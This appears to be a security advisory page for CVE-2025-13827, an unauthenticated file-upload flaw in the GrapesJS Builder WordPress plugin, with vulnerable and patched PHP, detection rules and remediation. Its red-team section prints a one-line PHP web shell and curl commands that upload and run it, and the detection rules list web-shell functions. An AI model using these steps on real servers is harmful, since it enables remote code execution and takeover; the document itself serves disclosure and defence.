CVE-2025-13827
Executive Summary
CVE-2025-13827 is a critical unauthenticated arbitrary file upload vulnerability in the GrapesJS Builder. The vulnerability exists because the application does not restrict the types of files that can be uploaded via the media upload functionality. If the media folder is not configured to prevent execution of uploaded files, an attacker can upload a malicious web shell (e.g., a PHP file) and achieve Remote Code Execution (RCE) on the underlying server. This vulnerability is particularly dangerous for WordPress sites that use the GrapesJS Builder plugin, as the default WordPress media directory is often web-accessible and may allow script execution.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
GrapesJS is an open-source web builder framework distributed via npm (grapesjs). This vulnerability affects any application that integrates the GrapesJS Builder and does not implement additional file type validation on the server side. The risk is amplified in supply chain scenarios where the builder is embedded in larger CMS platforms or SaaS products, as a compromise of the builder can lead to full server takeover.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full file system read access possible.
- Integrity (I): High (H) – Arbitrary file write/modification possible.
- Availability (A): High (H) – Server compromise can lead to denial of service.
CVSS Score: 9.8 (Critical)
Deep Dive & Mechanics
The GrapesJS Builder provides a media upload endpoint that accepts file uploads. The vulnerability stems from the lack of server-side validation of the uploaded file's MIME type or extension. The application only checks the file extension on the client side (if at all), and the server blindly accepts any file type.
Attack Flow:
- An attacker identifies a target running GrapesJS Builder (e.g., a WordPress site with the plugin).
- The attacker crafts a malicious PHP file (e.g.,
shell.php) containing a web shell payload. - The attacker sends a POST request to the media upload endpoint (e.g.,
/wp-content/plugins/grapesjs-builder/upload.phpor a custom route) with the malicious file. - The server accepts the file and stores it in the media directory (e.g.,
/wp-content/uploads/). - If the media directory allows execution of PHP files (default in many misconfigured environments), the attacker accesses the uploaded file via a web browser.
- The web shell executes, giving the attacker remote command execution on the server.
Root Cause: The server-side code does not validate the file extension or MIME type. The upload handler likely uses a generic function like move_uploaded_file() without checking the file's type.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// upload.php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
Patched Code (Conceptual):
// upload.php
$allowed_types = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
$target_dir = "uploads/";
$file_type = mime_content_type($_FILES["file"]["tmp_name"]);
$file_ext = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION));
$allowed_exts = ['jpg', 'jpeg', 'png', 'gif', 'webp'];
if (in_array($file_type, $allowed_types) && in_array($file_ext, $allowed_exts)) {
$target_file = $target_dir . uniqid() . '.' . $file_ext;
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
} else {
echo "Invalid file type.";
}
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install a vulnerable version of GrapesJS Builder on a local WordPress instance.
- Ensure the uploads directory is writable and PHP execution is enabled.
Exploitation Steps:
- Create a malicious PHP file:
<?php system($_GET['cmd']); ?> - Upload the file using a tool like
curl:curl -X POST -F "file=@shell.php" http://target.com/wp-content/plugins/grapesjs-builder/upload.php - Access the uploaded shell:
curl http://target.com/wp-content/uploads/shell.php?cmd=id
Expected Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Blue Team (Defensive)
Detection:
- Monitor for file uploads with suspicious extensions (
.php,.phtml,.php5,.shtml,.cgi,.asp,.aspx,.jsp). - Alert on uploads to directories that are not typically used for media (e.g.,
/wp-content/plugins/). - Use WAF rules to block uploads of executable files.
Mitigation:
- Restrict the media directory from executing scripts (e.g., via
.htaccessor Nginx config). - Implement server-side file type validation (MIME type and extension whitelist).
- Rename uploaded files to a random string and strip the original extension.
- Store uploaded files outside the web root and serve them via a proxy script.
Indicators of Compromise (IOCs)
- File:
shell.php,cmd.php,webshell.php, or any.phpfile in the uploads directory. - Network: POST requests to
/wp-content/plugins/grapesjs-builder/upload.phpor similar endpoints withContent-Type: multipart/form-data. - Logs: Access logs showing requests to uploaded PHP files with query parameters like
?cmd=,?exec=,?command=. - Process: Unusual child processes of the web server (e.g.,
id,whoami,ls).
Detection Engineering
YARA Rule
rule CVE_2025_13827_Webshell_Upload {
meta:
description = "Detects web shell uploads targeting GrapesJS Builder"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-13827"
strings:
$php_tag = "<?php"
$system_call = "system("
$shell_exec = "shell_exec("
$exec_call = "exec("
$passthru = "passthru("
$cmd_var = "$_GET['cmd']" nocase
$post_var = "$_POST['cmd']" nocase
condition:
$php_tag and 1 of ($system_call, $shell_exec, $exec_call, $passthru, $cmd_var, $post_var)
}
Sigma Rule
title: CVE-2025-13827 GrapesJS Builder Arbitrary File Upload
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects file uploads with executable extensions to GrapesJS Builder endpoints
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'upload.php'
cs-uri-query|endswith:
- '.php'
- '.phtml'
- '.php5'
- '.shtml'
- '.cgi'
- '.asp'
- '.aspx'
- '.jsp'
condition: selection
falsepositives:
- Legitimate plugin updates (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13827 GrapesJS Builder Arbitrary File Upload"; flow:to_server,established; content:"POST"; http_method; content:"upload.php"; http_uri; content:".php"; http_client_body; pcre:"/\.(php|phtml|php5|shtml|cgi|asp|aspx|jsp)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the media upload functionality in GrapesJS Builder until a patch is applied.
- Server Hardening: Configure the web server to prevent execution of scripts in the uploads directory:
- Apache: Add a
.htaccessfile withRemoveHandler .php .phtml .php5andRemoveType .php .phtml .php5. - Nginx: Add
location ~* /uploads/.*\.php$ { deny all; }to the server block.
- Apache: Add a
- File Validation: Implement server-side validation of file MIME types and extensions. Only allow image types (JPEG, PNG, GIF, WebP).
- File Renaming: Rename uploaded files to a random UUID and strip the original extension.
- Storage Location: Store uploaded files outside the web root and serve them via a dedicated script that sets proper Content-Type headers.
- WAF Rules: Deploy WAF rules to block uploads of executable files.
- Monitoring: Enable logging and monitoring for file uploads and suspicious file access.
Valters IT
Securing Digital Frontiers